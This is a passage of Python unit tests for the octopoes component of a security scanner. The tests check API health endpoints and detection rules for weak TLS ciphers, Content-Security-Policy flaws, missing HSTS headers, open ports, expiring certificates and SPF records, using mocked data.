    "content": "import logging\nimport re\n\nimport httpx\nimport pytest\nfrom fastapi.testclient import TestClient\n\nfrom octopoes.api.api import app\nfrom octopoes.version import __version__\n\nclient = TestClient(app)\n\n\n@pytest.fixture\ndef patch_pika(mocker):\n    return mocker.patch(\"pika.BlockingConnection\")\n\n\ndef test_health(httpx_mock, patch_pika):\n    xtdb_status = {\n        \"version\": \"1.24.1\",\n        \"revision\": \"1164f9a3c7e36edbc026867945765fd4366c1731\",\n        \"indexVersion\": 22,\n        \"consumerState\": None,\n        \"kvStore\": \"xtdb.rocksdb.RocksKv\",\n        \"estimateNumKeys\": 525037,\n        \"size\": 35488019,\n    }\n\n    httpx_mock.add_response(method=\"GET\", url=\"http://xtdb:3000/_xtdb/_dev/status\", json=xtdb_status, status_code=200)\n    response = client.get(\"/_dev/health\")\n    assert response.json() == {\n        \"service\": \"octopoes\",\n        \"healthy\": True,\n        \"version\": __version__,\n        \"additional\": None,\n        \"results\": [\n            {\"healthy\": True, \"service\": \"xtdb\", \"version\": \"1.24.1\", \"additional\": xtdb_status, \"results\": []}\n        ],\n    }\n    assert response.status_code == 200\n\n\ndef test_health_no_xtdb_connection(httpx_mock, patch_pika):\n    httpx_mock.add_exception(\n        httpx.ConnectTimeout(\"Connection timed out\"), method=\"GET\", url=\"http://xtdb:3000/_xtdb/_dev/status\"\n    )\n    response = client.get(\"/_dev/health\")\n    assert response.json() == {\n        \"service\": \"octopoes\",\n        \"healthy\": False,\n        \"version\": __version__,\n        \"additional\": None,\n        \"results\": [\n            {\n                \"healthy\": False,\n                \"service\": \"xtdb\",\n                \"version\": None,\n                \"additional\": \"Cannot connect to XTDB at. Service possibly down\",\n                \"results\": [],\n            }\n        ],\n    }\n    assert response.status_code == 200\n\n\ndef test_openapi():\n    response = client.get(\"/openapi.json\")\n    assert response.status_code == 200\n\n\ndef test_get_scan_profiles(httpx_mock, patch_pika, valid_time):\n    scan_profile = {\n        \"type\": \"ScanProfile\",\n        \"level\": 0,\n        \"reference\": \"Hostname|internet|mispo.es\",\n        \"scan_profile_type\": \"empty\",\n        \"xt/id\": \"ScanProfile|DNSZone|internet|mispo.es\",\n    }\n\n    httpx_mock.add_response(\n        method=\"POST\",\n        url=re.compile(r\"http://xtdb:3000/_xtdb/_dev/query\\?valid-time=(.*)\"),\n        json=[[scan_profile]],\n        status_code=200,\n    )\n    response = client.get(\"/_dev/scan_profiles\", params={\"valid_time\": str(valid_time)})\n    assert response.status_code == 200\n    assert response.json() == [\n        {\"level\": 0, \"reference\": \"Hostname|internet|mispo.es\", \"scan_profile_type\": \"empty\", \"user_id\": None}\n    ]\n\n\ndef test_create_node(httpx_mock):\n    httpx_mock.add_response(\n        method=\"POST\", url=\"http://xtdb:3000/_xtdb/create-node\", json={\"created\": \"true\"}, status_code=200\n    )\n    response = client.post(\"/_dev/node\")\n    assert response.status_code == 200\n\n\ndef test_delete_node(httpx_mock):\n    httpx_mock.add_response(\n        method=\"POST\", url=\"http://xtdb:3000/_xtdb/delete-node\", json={\"deleted\": \"true\"}, status_code=200\n    )\n    response = client.delete(\"/_dev/node\")\n    assert response.status_code == 200\n\n\ndef test_count_findings_by_severity(httpx_mock, patch_pika, caplog, valid_time):\n    logger = logging.getLogger(\"octopoes\")\n    logger.propagate = True\n\n    xt_response = [\n        [\n            \"KATFindingType|KAT-NO-DKIM\",\n            {\n                \"object_type\": \"KATFindingType\",\n                \"KATFindingType/risk_severity\": \"medium\",\n                \"KATFindingType/id\": \"KAT-NO-DKIM\",\n                \"KATFindingType/description\": \"This hostname does not support a DKIM record.\",\n                \"KATFindingType/primary_key\": \"KATFindingType|KAT-NO-DKIM\",\n                \"KATFindingType/risk_score\": 6.9,\n                \"xt/id\": \"KATFindingType|KAT-NO-DKIM\",\n            },\n            1,\n        ],\n        [\"KATFindingType|KAT-NO-FINDING-TYPE\", None, 2],\n    ]\n\n    httpx_mock.add_response(\n        method=\"POST\",\n        url=re.compile(r\"http://xtdb:3000/_xtdb/_dev/query\\?valid-time=(.*)\"),\n        json=xt_response,\n        status_code=200,\n    )\n    with caplog.at_level(logging.WARNING):\n        response = client.get(\"/_dev/findings/count_by_severity\", params={\"valid_time\": str(valid_time)})\n    assert response.status_code == 200\n    assert response.json() == {\n        \"critical\": 0,\n        \"high\": 0,\n        \"medium\": 1,\n        \"low\": 0,\n        \"recommendation\": 0,\n        \"pending\": 2,\n        \"unknown\": 0,\n    }\n\n    assert len(caplog.record_tuples) == 1\n    logger, level, message = caplog.record_tuples[0]\n    assert logger == \"octopoes.repositories.ooi_repository\"\n    assert level == logging.WARNING\n    assert (\n        \"There are 2 KATFindingType|KAT-NO-FINDING-TYPE findings but the finding type is not in the database\" in message\n    )\n"
  },
  {
    "path": "octopoes/tests/test_bit_ask_ports.py",
    "content": "from bits.ask_port_specification.ask_port_specification import run\n\nfrom octopoes.models.ooi.network import Network\nfrom octopoes.models.ooi.question import Question\n\n\ndef test_port_classification_tcp_80():\n    results = list(run(Network(name=\"test1\"), [], {}))\n\n    assert len(results) == 1\n    assert isinstance(results[0], Question)\n"
  },
  {
    "path": "octopoes/tests/test_bit_cipher.py",
    "content": "from bits.cipher_classification.cipher_classification import run as cipher_classification\n\nfrom octopoes.models.ooi.findings import Finding\nfrom octopoes.models.ooi.network import IPAddressV4, IPPort\nfrom octopoes.models.ooi.service import IPService, Service, TLSCipher\n\n\ndef test_medium_bad_ciphers():\n    address = IPAddressV4(address=\"8.8.8.8\", network=\"network|fake\")\n    port = IPPort(address=address.reference, protocol=\"tcp\", port=22)\n    ip_service = IPService(ip_port=port.reference, service=Service(name=\"https\").reference)\n    cipher = TLSCipher(\n        ip_service=ip_service.reference,\n        suites={\n            \"TLSv1.3\": [\n                {\n                    \"cipher_suite_alias\": \"TLS_AES_256_GCM_SHA384\",\n                    \"encryption_algorithm\": \"AESGCM\",\n                    \"cipher_suite_name\": \"TLS_AES_256_GCM_SHA384\",\n                    \"key_size\": 253,\n                    \"bits\": 256,\n                    \"key_exchange_algorithm\": \"ECDH\",\n                    \"cipher_suite_code\": \"x1302\",\n                },\n                {\n                    \"cipher_suite_alias\": \"TLS_CHACHA20_POLY1305_SHA256\",\n                    \"encryption_algorithm\": \"ChaCha20\",\n                    \"cipher_suite_name\": \"TLS_CHACHA20_POLY1305_SHA256\",\n                    \"key_size\": 253,\n                    \"bits\": 256,\n                    \"key_exchange_algorithm\": \"ECDH\",\n                    \"cipher_suite_code\": \"x1303\",\n                },\n                {\n                    \"cipher_suite_alias\": \"TLS_AES_128_GCM_SHA256\",\n                    \"encryption_algorithm\": \"AESGCM\",\n                    \"cipher_suite_name\": \"TLS_AES_128_GCM_SHA256\",\n                    \"key_size\": 253,\n                    \"bits\": 128,\n                    \"key_exchange_algorithm\": \"ECDH\",\n                    \"cipher_suite_code\": \"x1301\",\n                },\n            ],\n            \"TLSv1.2\": [\n                {\n                    \"cipher_suite_alias\": \"TLS_ECDHE-RSA-AES256-SHA384\",\n                    \"encryption_algorithm\": \"AESGCM\",\n                    \"cipher_suite_name\": \"ECDHE-RSA-AES256-SHA384\",\n                    \"key_size\": 521,\n                    \"bits\": 256,\n                    \"key_exchange_algorithm\": \"ECDH\",\n                    \"cipher_suite_code\": \"xc030\",\n                },\n                {\n                    \"cipher_suite_alias\": \"TLS_DHE_RSA_WITH_AES_256_GCM_SHA384\",\n                    \"encryption_algorithm\": \"AESGCM\",\n                    \"cipher_suite_name\": \"DHE-RSA-AES256-GCM-SHA384\",\n                    \"key_size\": 2048,\n                    \"bits\": 256,\n                    \"key_exchange_algorithm\": \"DH\",\n                    \"cipher_suite_code\": \"x9f\",\n                },\n                {\n                    \"cipher_suite_alias\": \"TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256\",\n                    \"encryption_algorithm\": \"ChaCha20\",\n                    \"cipher_suite_name\": \"ECDHE-RSA-CHACHA20-POLY1305\",\n                    \"key_size\": 521,\n                    \"bits\": 256,\n                    \"key_exchange_algorithm\": \"ECDH\",\n                    \"cipher_suite_code\": \"xcca8\",\n                },\n                {\n                    \"cipher_suite_alias\": \"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256\",\n                    \"encryption_algorithm\": \"AESGCM\",\n                    \"cipher_suite_name\": \"ECDHE-RSA-AES128-GCM-SHA256\",\n                    \"key_size\": 521,\n                    \"bits\": 128,\n                    \"key_exchange_algorithm\": \"ECDH\",\n                    \"cipher_suite_code\": \"xc02f\",\n                },\n                {\n                    \"cipher_suite_alias\": \"TLS_DHE_RSA_WITH_AES_128_GCM_SHA256\",\n                    \"encryption_algorithm\": \"AESGCM\",\n                    \"cipher_suite_name\": \"DHE-RSA-AES128-GCM-SHA256\",\n                    \"key_size\": 2048,\n                    \"bits\": 128,\n                    \"key_exchange_algorithm\": \"DH\",\n                    \"cipher_suite_code\": \"x9e\",\n                },\n            ],\n        },\n    )\n\n    results = list(cipher_classification(cipher, {}, {}))\n\n    assert len(results) == 2\n    assert results[0].reference == \"KATFindingType|KAT-MEDIUM-BAD-CIPHER\"\n    finding = results[-1]\n    assert isinstance(finding, Finding)\n    assert (\n        finding.description == \"One or more of the cipher suites should not be used because:\\n\"\n        \"ECDHE-RSA-AES256-SHA384 - Using CBC as bulk encryption algorithm (Medium).\"\n    )\n\n\ndef test_good_ciphers():\n    address = IPAddressV4(address=\"8.8.8.8\", network=\"network|fake\")\n    port = IPPort(address=address.reference, protocol=\"tcp\", port=22)\n    ip_service = IPService(ip_port=port.reference, service=Service(name=\"https\").reference)\n    cipher = TLSCipher(\n        ip_service=ip_service.reference,\n        suites={\n            \"TLSv1.3\": [\n                {\n                    \"cipher_suite_alias\": \"TLS_AES_256_GCM_SHA384\",\n                    \"encryption_algorithm\": \"AESGCM\",\n                    \"cipher_suite_name\": \"TLS_AES_256_GCM_SHA384\",\n                    \"bits\": 253,\n                    \"key_size\": 256,\n                    \"key_exchange_algorithm\": \"ECDH\",\n                    \"cipher_suite_code\": \"x1302\",\n                }\n            ]\n        },\n    )\n\n    results = list(cipher_classification(cipher, {}, {}))\n\n    assert len(results) == 0\n"
  },
  {
    "path": "octopoes/tests/test_bit_csp_header.py",
    "content": "from bits.check_csp_header.check_csp_header import run\n\nfrom octopoes.models.ooi.web import HTTPHeader\n\n\ndef test_check_csp_headers(http_resource_https):\n    headers_to_test = [\n        (\"Content-Type\", \"text/html\"),\n        (\"Content-security-poliCY\", \"text/html\"),\n        (\"content-security-policy\", \"http://abc.com\"),\n        (\"content-security-policy\", \"https://abc.com\"),\n        (\"content-security-policy\", \"https://*.com\"),\n        (\"content-security-policy\", \"https://a.com; ...; media-src 'self'; media-src 10.10.10.10;\"),\n        (\"content-security-policy\", \"unsafe-inline-uri * strict-dynamic; test http: 127.0.0.1\"),\n    ]\n\n    results = []\n\n    # Iterate over headers and execute `run` function for each adding the content type header for xss capability check\n    for key, value in headers_to_test:\n        result = list(\n            run(\n                resource=http_resource_https,\n                additional_oois=[\n                    HTTPHeader(resource=http_resource_https.reference, key=\"Content-Type\", value=\"text/html\"),\n                    HTTPHeader(resource=http_resource_https.reference, key=key, value=value),\n                ],\n                config={},\n            )\n        )\n        results.append(result)\n\n    assert results[0] == []\n    assert len(results[1]) == 2\n    assert results[1][0].id == \"KAT-CSP-VULNERABILITIES\"\n    assert (\n        results[1][1].description\n        == \"\"\"List of CSP findings:\n 1. frame-src has not been defined or does not have a fallback.\n 2. script-src has not been defined or does not have a fallback.\n 3. base-uri has not been defined, default-src does not apply.\n 4. frame-ancestors has not been defined.\n 5. default-src has not been defined.\n 6. CSP setting has no value.\"\"\"\n    )\n\n    assert results[2][0].id == \"KAT-CSP-VULNERABILITIES\"\n    assert (\n        results[2][1].description\n        == \"\"\"List of CSP findings:\n 1. Http should not be used in the CSP settings of an HTTP Header.\n 2. frame-src has not been defined or does not have a fallback.\n 3. script-src has not been defined or does not have a fallback.\n 4. base-uri has not been defined, default-src does not apply.\n 5. frame-ancestors has not been defined.\n 6. default-src has not been defined.\n 7. CSP setting has no value.\"\"\"\n    )\n\n    assert results[3][0].id == \"KAT-CSP-VULNERABILITIES\"\n    assert (\n        results[3][1].description\n        == \"\"\"List of CSP findings:\n 1. frame-src has not been defined or does not have a fallback.\n 2. script-src has not been defined or does not have a fallback.\n 3. base-uri has not been defined, default-src does not apply.\n 4. frame-ancestors has not been defined.\n 5. default-src has not been defined.\n 6. CSP setting has no value.\"\"\"\n    )\n\n    assert results[4][0].id == \"KAT-CSP-VULNERABILITIES\"\n    assert (\n        results[4][1].description\n        == \"\"\"List of CSP findings:\n 1. The wildcard * for the scheme and host part of any URL should never be used in CSP settings.\n 2. frame-src has not been defined or does not have a fallback.\n 3. script-src has not been defined or does not have a fallback.\n 4. base-uri has not been defined, default-src does not apply.\n 5. frame-ancestors has not been defined.\n 6. default-src has not been defined.\n 7. CSP setting has no value.\"\"\"\n    )\n\n    assert results[5][0].id == \"KAT-CSP-VULNERABILITIES\"\n    assert (\n        results[5][1].description\n        == \"\"\"List of CSP findings:\n 1. frame-src has not been defined or does not have a fallback.\n 2. script-src has not been defined or does not have a fallback.\n 3. base-uri has not been defined, default-src does not apply.\n 4. frame-ancestors has not been defined.\n 5. default-src has not been defined.\n 6. CSP setting has no value.\n 7. CSP setting has no value.\n 8. Private, local, reserved, multicast, loopback ips should not be allowed in the CSP settings.\n 9. CSP setting has no value.\"\"\"\n    )\n\n    assert results[6][0].id == \"KAT-CSP-VULNERABILITIES\"\n    assert (\n        results[6][1].description\n        == \"\"\"List of CSP findings:\n 1. unsafe-inline, unsafe-eval and unsafe-hashes should not be used in the CSP settings of an HTTP Header.\n 2. frame-src has not been defined or does not have a fallback.\n 3. script-src has not been defined or does not have a fallback.\n 4. base-uri has not been defined, default-src does not apply.\n 5. frame-ancestors has not been defined.\n 6. default-src has not been defined.\n 7. unsafe-inline-uri has illogical values.\n 8. A wildcard source should not be used in the value of any type in the CSP settings.\n 9. a blanket protocol source should not be used in the value of any type in the CSP settings.\n 10. Private, local, reserved, multicast, loopback ips should not be allowed in the CSP settings.\"\"\"\n    )\n\n\ndef test_check_csp_headers_non_xss_capable(http_resource_https):\n    headers_to_test = [\n        (\"Content-security-poliCY\", \"text/html\"),\n        (\"content-security-policy\", \"http://abc.com\"),\n        (\"content-security-policy\", \"https://abc.com\"),\n        (\"content-security-policy\", \"https://*.com\"),\n        (\"content-security-policy\", \"https://a.com; ...; media-src 'self'; media-src 10.10.10.10;\"),\n        (\"content-security-policy\", \"unsafe-inline-uri * strict-dynamic; test http: 127.0.0.1\"),\n    ]\n\n    results = []\n\n    # Iterate over headers and execute `run` function for each adding the content type header for xss capability check\n    for key, value in headers_to_test:\n        result = list(\n            run(\n                resource=http_resource_https,\n                additional_oois=[\n                    HTTPHeader(resource=http_resource_https.reference, key=\"Content-Type\", value=\"text/plain\"),\n                    HTTPHeader(resource=http_resource_https.reference, key=key, value=value),\n                ],\n                config={},\n            )\n        )\n        results.append(result)\n\n    for result in results:\n        assert result == []\n"
  },
  {
    "path": "octopoes/tests/test_bit_default_findingtype_risk.py",
    "content": "from bits.default_findingtype_risk.default_findingtype_risk import run as run_default_findingtype_risk\n\nfrom octopoes.models.ooi.findings import KATFindingType, RiskLevelSeverity\n\n\ndef test_default_findingtype_risk_pending():\n    test_finding_type = KATFindingType(id=\"KAT-TEST\")\n\n    assert test_finding_type.risk_severity is None\n    assert test_finding_type.risk_score is None\n\n    results = list(run_default_findingtype_risk(test_finding_type, [], {}))\n\n    expected_result = results[0]\n    assert isinstance(expected_result, KATFindingType)\n    assert expected_result.risk_severity == RiskLevelSeverity.PENDING, \"Risk Severity None should default to pending\"\n    assert expected_result.risk_score == 0, \"Risk Score None should default to 0\"\n\n\ndef test_default_findingtype_risk_unkown():\n    test_finding_type = KATFindingType(id=\"KAT-TEST\", risk_severity=RiskLevelSeverity.UNKNOWN, risk_score=5)\n\n    results = list(run_default_findingtype_risk(test_finding_type, [], {}))\n\n    assert results == [], \"Bit should not output anything when risk_severity or risk_score are set\"\n"
  },
  {
    "path": "octopoes/tests/test_bit_domain_verification.py",
    "content": "from bits.domain_owner_verification.domain_owner_verification import run\n\nfrom octopoes.models.ooi.dns.records import DNSNSRecord\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.network import Network\n\n\ndef test_verification_pending():\n    network = Network(name=\"fake\")\n    hostname = Hostname(name=\"example.com\", network=network.reference)\n    ns_hostname = Hostname(name=\"ns1.registrant-verification.ispapi.net\", network=network.reference)\n    ns_record = DNSNSRecord(hostname=hostname.reference, name_server_hostname=ns_hostname.reference, value=\"x\")\n    results = list(run(ns_record, [], {}))\n\n    assert len(results) == 2\n\n\ndef test_no_verification_pending():\n    network = Network(name=\"fake\")\n    hostname = Hostname(name=\"example.com\", network=network.reference)\n    ns_hostname = Hostname(name=\"ns1.example.com\", network=network.reference)\n    ns_record = DNSNSRecord(hostname=hostname.reference, name_server_hostname=ns_hostname.reference, value=\"x\")\n    results = list(run(ns_record, [], {}))\n\n    assert len(results) == 0\n"
  },
  {
    "path": "octopoes/tests/test_bit_expiring_certificate.py",
    "content": "from _datetime import datetime, timedelta\n\nfrom bits.expiring_certificate.expiring_certificate import run\n\nfrom octopoes.models.ooi.certificate import X509Certificate\n\n\ndef test_expiring_cert_simple_success():\n    certificate = X509Certificate(\n        subject=\"example.com\",\n        valid_from=\"2022-11-15T08:52:57\",\n        valid_until=\"2030-11-15T08:52:57\",\n        serial_number=\"abc123\",\n    )\n\n    results = list(run(certificate, [], {}))\n\n    assert len(results) == 0\n\n\ndef test_expiring_cert_simple_expired():\n    certificate = X509Certificate(\n        subject=\"example.com\",\n        valid_from=\"2022-11-15T08:52:57\",\n        valid_until=\"2022-11-15T08:52:57\",\n        serial_number=\"abc123\",\n    )\n\n    results = list(run(certificate, [], {}))\n\n    assert len(results) == 2\n\n\ndef test_expiring_cert_simple_expires_soon():\n    certificate = X509Certificate(\n        subject=\"example.com\",\n        valid_from=\"2022-11-15T08:52:57\",\n        valid_until=str(datetime.now() + timedelta(days=2)),\n        serial_number=\"abc123\",\n        expires_in=timedelta(days=2),\n    )\n\n    results = list(run(certificate, [], {}))\n\n    assert len(results) == 2\n"
  },
  {
    "path": "octopoes/tests/test_bit_missing_headers.py",
    "content": "from bits.missing_headers.missing_headers import run\n\nfrom octopoes.models.ooi.web import HTTPHeader\n\n\ndef test_https_hsts(http_resource_https):\n    headers = [\n        HTTPHeader(resource=http_resource_https.reference, key=\"Content-Type\", value=\"text/html\"),\n        HTTPHeader(\n            resource=http_resource_https.reference,\n            key=\"Strict-Transport-Security\",\n            value=\"max-age=31536000; includeSubDomains\",\n        ),\n    ]\n\n    results = list(run(http_resource_https, headers, {}))\n    hsts_findings = [r for r in results if r.object_type == \"Finding\" and r.finding_type.natural_key == \"KAT-NO-HSTS\"]\n\n    assert not hsts_findings\n\n\ndef test_https_no_hsts(http_resource_https):\n    headers = [HTTPHeader(resource=http_resource_https.reference, key=\"Content-Type\", value=\"text/html\")]\n\n    results = list(run(http_resource_https, headers, {}))\n    hsts_findings = [r for r in results if r.object_type == \"Finding\" and r.finding_type.natural_key == \"KAT-NO-HSTS\"]\n\n    assert len(hsts_findings) == 1\n\n\ndef test_http_no_hsts(http_resource_http):\n    headers = [HTTPHeader(resource=http_resource_http.reference, key=\"Content-Type\", value=\"text/html\")]\n\n    results = list(run(http_resource_http, headers, {}))\n    hsts_findings = [r for r in results if r.object_type == \"Finding\" and r.finding_type.natural_key == \"KAT-NO-HSTS\"]\n\n    assert not hsts_findings\n\n\ndef test_deprecated_header(http_resource_https):\n    headers = [HTTPHeader(resource=http_resource_https.reference, key=\"x-forwarded-for\", value=\"DENY\")]\n\n    results = list(run(http_resource_https, headers, {}))\n    deprecated_headers_findings = [\n        r for r in results if r.object_type == \"Finding\" and r.finding_type.natural_key == \"KAT-NONSTANDARD-HEADERS\"\n    ]\n\n    assert len(deprecated_headers_findings) == 1\n"
  },
  {
    "path": "octopoes/tests/test_bit_ports.py",
    "content": "from bits.port_classification_ip.port_classification_ip import run as run_port_classification\nfrom bits.port_common.port_common import run as run_port_common\n\nfrom octopoes.models.ooi.findings import Finding\nfrom octopoes.models.ooi.network import IPAddressV4, IPPort\n\n\ndef test_port_classification_tcp_80():\n    address = IPAddressV4(address=\"8.8.8.8\", network=\"network|fake\")\n    port = IPPort(address=address.reference, protocol=\"tcp\", port=80)\n    results = list(run_port_classification(address, [port], {}))\n\n    assert not results\n\n\ndef test_port_classification_udp_53():\n    address = IPAddressV4(address=\"8.8.8.8\", network=\"network|fake\")\n    port = IPPort(address=address.reference, protocol=\"tcp\", port=53)\n    results = list(run_port_classification(address, [port], {}))\n\n    assert not results\n\n\ndef test_port_classification_tcp_22():\n    address = IPAddressV4(address=\"8.8.8.8\", network=\"network|fake\")\n    port = IPPort(address=address.reference, protocol=\"tcp\", port=22)\n    results = list(run_port_classification(address, [port], {}))\n\n    assert len(results) == 2\n    finding = results[-1]\n    assert isinstance(finding, Finding)\n    assert finding.description == \"Port 22/tcp is a system administrator port and should possibly not be open.\"\n\n\ndef test_port_classification_tcp_5432():\n    address = IPAddressV4(address=\"8.8.8.8\", network=\"network|fake\")\n    port = IPPort(address=address.reference, protocol=\"tcp\", port=5432)\n    results = list(run_port_classification(address, [port], {}))\n\n    assert len(results) == 2\n    finding = results[-1]\n    assert isinstance(finding, Finding)\n    assert finding.description == \"Port 5432/tcp is a database port and should not be open.\"\n\n\ndef test_port_classification_tcp_12345():\n    address = IPAddressV4(address=\"8.8.8.8\", network=\"network|fake\")\n    port = IPPort(address=address.reference, protocol=\"tcp\", port=12345)\n    results = list(run_port_classification(address, [port], {}))\n\n    assert len(results) == 2\n    finding = results[-1]\n    assert isinstance(finding, Finding)\n    assert finding.description == \"Port 12345/tcp is not a common port and should possibly not be open.\"\n\n\ndef test_port_classification_tcp_3306_with_config():\n    address = IPAddressV4(address=\"8.8.8.8\", network=\"network|fake\")\n    port = IPPort(address=address.reference, protocol=\"tcp\", port=3306)\n    results = list(run_port_classification(address, [port], {\"db_tcp_ports\": \"1234\"}))\n\n    assert len(results) == 2\n    finding = results[-1]\n    assert isinstance(finding, Finding)\n    assert finding.description == \"Port 3306/tcp is not a common port and should possibly not be open.\"\n\n\ndef test_port_classification_udp_80():\n    address = IPAddressV4(address=\"8.8.8.8\", network=\"network|fake\")\n    port = IPPort(address=address.reference, protocol=\"udp\", port=80)\n    results = list(run_port_classification(address, [port], {}))\n\n    assert len(results) == 2\n    finding = results[-1]\n    assert isinstance(finding, Finding)\n    assert finding.description == \"Port 80/udp is not a common port and should possibly not be open.\"\n\n\ndef test_port_common_tcp_80():\n    port = IPPort(address=\"address|8.8.8.8\", protocol=\"tcp\", port=80)\n    results = list(run_port_common(port, [], {}))\n\n    assert len(results) == 2\n    finding = results[-1]\n    assert isinstance(finding, Finding)\n    assert finding.description == \"Port 80/tcp is a common port and found to be open.\"\n\n\ndef test_port_common_tcp_22():\n    port = IPPort(address=\"address|8.8.8.8\", protocol=\"tcp\", port=22)\n    results = list(run_port_common(port, [], {}))\n\n    assert not results\n\n\ndef test_port_common_udp_80():\n    port = IPPort(address=\"address|8.8.8.8\", protocol=\"udp\", port=80)\n    results = list(run_port_common(port, [], {}))\n\n    assert not results\n\n\ndef test_port_common_udp_53():\n    port = IPPort(address=\"address|8.8.8.8\", protocol=\"udp\", port=53)\n    results = list(run_port_common(port, [], {}))\n\n    assert len(results) == 2\n    finding = results[-1]\n    assert isinstance(finding, Finding)\n    assert finding.description == \"Port 53/udp is a common port and found to be open.\"\n"
  },
  {
    "path": "octopoes/tests/test_bit_spf_discovery.py",
    "content": "from bits.spf_discovery.spf_discovery import run\n\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.dns.records import DNSTXTRecord\nfrom octopoes.models.ooi.email_security import DNSSPFMechanismIP, DNSSPFRecord\nfrom octopoes.models.ooi.findings import KATFindingType\nfrom octopoes.models.ooi.network import IPAddressV4\n\n\ndef test_spf_discovery_simple_success():\n    dnstxt_record = DNSTXTRecord(\n        hostname=Reference.from_str(\"Hostname|internet|example.com\"),\n        value=\"v=spf1 ip4:1.1.1.1 ~all exp=explain._spf.example.com\",\n    )\n\n    results = list(run(dnstxt_record, [], {}))\n\n    spf_record = DNSSPFRecord(\n        dns_txt_record=dnstxt_record.reference,\n        value=\"v=spf1 ip4:1.1.1.1 ~all exp=explain._spf.example.com\",\n        ttl=None,\n        all=\"~\",\n        exp=\"explain._spf.example.com\",\n    )\n\n    assert results[-1].model_dump() == spf_record.model_dump()\n\n    assert (\n        results[0].model_dump()\n        == IPAddressV4(address=\"1.1.1.1\", network=Reference.from_str(\"Network|internet\")).model_dump()\n    )\n\n    assert (\n        results[1].model_dump()\n        == DNSSPFMechanismIP(\n            ip=Reference.from_str(\"IPAddressV4|internet|1.1.1.1\"), spf_record=spf_record.reference, mechanism=\"ip4\"\n        ).model_dump()\n    )\n\n\ndef test_spf_discovery_invalid_():\n    dnstxt_record = DNSTXTRecord(\n        hostname=Reference.from_str(\"Hostname|internet|example.com\"), value=\"v=spf1 assdfsdf w rgw\"\n    )\n\n    results = list(run(dnstxt_record, [], {}))\n\n    assert results[0] == KATFindingType(id=\"KAT-INVALID-SPF\")\n\n\ndef test_spf_discovery_intermediate_success():\n    dnstxt_record = DNSTXTRecord(\n        hostname=Reference.from_str(\"Hostname|internet|example1.com\"),\n        value=\"v=spf1 a:example.com mx mx:deferrals.domain.com ptr:otherdomain.com \"\n        \"exists:example4.com ?include:example2.com ~all\",\n    )\n    results = list(run(dnstxt_record, [], {}))\n\n    assert len(results) == 12\n\n\ndef test_spf_discovery_with_identifier():\n    dnstxt_record = DNSTXTRecord(\n        hostname=Reference.from_str(\"Hostname|internet|example1.com\"),\n        value=\"v=spf1 a:example.com mx mx:deferrals.domain.com ptr:otherdomain.com \"\n        \"exists:%{i}.example.com ?include:example2.com ~all\",\n    )\n    results = list(run(dnstxt_record, [], {}))\n\n    assert len(results) == 10\n"
  },
  {
    "path": "octopoes/tests/test_bits.py",
    "content": "from bits.https_availability.https_availability import run as run_https_availability\nfrom bits.oois_in_headers.oois_in_headers import run as run_oois_in_headers\n\nfrom octopoes.models.ooi.findings import Finding\nfrom octopoes.models.ooi.network import IPPort\nfrom octopoes.models.ooi.web import URL, HTTPHeader, HTTPHeaderURL, Website\n\n\ndef test_url_extracted_by_oois_in_headers_url():\n    header = HTTPHeader(\n        resource=\"resource|internet|ip|protocol|port|protocol|internet|hostname|protocol|internet|hostname|port|location\",\n        key=\"Location\",\n        value=\"https://www.example.com/\",\n    )\n\n    results = list(run_oois_in_headers(header, [], {}))\n\n    url = results[0]\n    assert isinstance(url, URL)\n    assert str(url.raw) == \"https://www.example.com/\"\n    assert url.network == \"Network|internet\"\n\n    http_header_url = results[1]\n    assert isinstance(http_header_url, HTTPHeaderURL)\n    assert http_header_url.header == header.reference\n    assert http_header_url.url == url.reference\n\n\ndef test_url_extracted_by_oois_in_headers_relative_path(http_resource_https):\n    header = HTTPHeader(resource=http_resource_https.reference, key=\"Location\", value=\"script.php\")\n\n    results = list(run_oois_in_headers(header, [], {}))\n\n    url = results[0]\n    assert isinstance(url, URL)\n    assert str(url.raw) == \"https://example.com/script.php\"\n    assert url.network == \"Network|internet\"\n\n    http_header_url = results[1]\n    assert isinstance(http_header_url, HTTPHeaderURL)\n    assert http_header_url.header == header.reference\n    assert http_header_url.url == url.reference\n\n\ndef test_finding_generated_when_443_not_open_and_80_is_open():\n    port_80 = IPPort(address=\"address|fake\", protocol=\"tcp\", port=80)\n    website = Website(ip_service=\"service|fake\", hostname=\"hostname|fake\")\n    results = list(run_https_availability(None, [port_80, website], {}))\n    finding = results[0]\n    assert isinstance(finding, Finding)\n    assert finding.description == \"HTTP port is open, but HTTPS port is not open\"\n"
  },
  {
    "path": "octopoes/tests/test_disallowed_csp_hostnames.py",
    "content": "from bits.disallowed_csp_hostnames.disallowed_csp_hostnames import run\n\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.findings import Finding, KATFindingType\nfrom octopoes.models.ooi.web import HTTPHeaderHostname\n\n\ndef test_disallowed_csp_headers_no_findings():\n    http_header_hostname = HTTPHeaderHostname(\n        hostname=Reference.from_str(\"Hostname|internet|example.com\"),\n        header=Reference.from_str(\n            \"HTTPHeader|internet|1.1.1.1|tcp|443|https|internet|example.com|https|internet|example.com|443||Content-Security-Policy\"\n        ),\n    )\n\n    results = list(run(http_header_hostname, [], {}))\n\n    assert results == []\n\n\ndef test_disallowed_csp_headers_simple_finding():\n    http_header_hostname = HTTPHeaderHostname(\n        hostname=Reference.from_str(\"Hostname|internet|bit.ly\"),\n        header=Reference.from_str(\n            \"HTTPHeader|internet|1.1.1.1|tcp|443|https|internet|example.com|https|internet|example.com|443||Content-Security-Policy\"\n        ),\n    )\n\n    results = list(run(http_header_hostname, [], {}))\n\n    assert results == [\n        KATFindingType(id=\"KAT-DISALLOWED-DOMAIN-IN-CSP\"),\n        Finding(\n            ooi=http_header_hostname.reference, finding_type=KATFindingType(id=\"KAT-DISALLOWED-DOMAIN-IN-CSP\").reference\n        ),\n    ]\n\n\ndef test_disallowed_csp_headers_allow_url_shortener():\n    http_header_hostname = HTTPHeaderHostname(\n        hostname=Reference.from_str(\"Hostname|internet|bit.ly\"),\n        header=Reference.from_str(\n            \"HTTPHeader|internet|1.1.1.1|tcp|443|https|internet|example.com|https|internet|example.com|443||Content-Security-Policy\"\n        ),\n    )\n\n    results = list(run(http_header_hostname, [], {\"disallow_url_shorteners\": False}))\n\n    assert results == []\n\n\ndef test_disallowed_csp_headers_disallow_custom_hostname():\n    http_header_hostname = 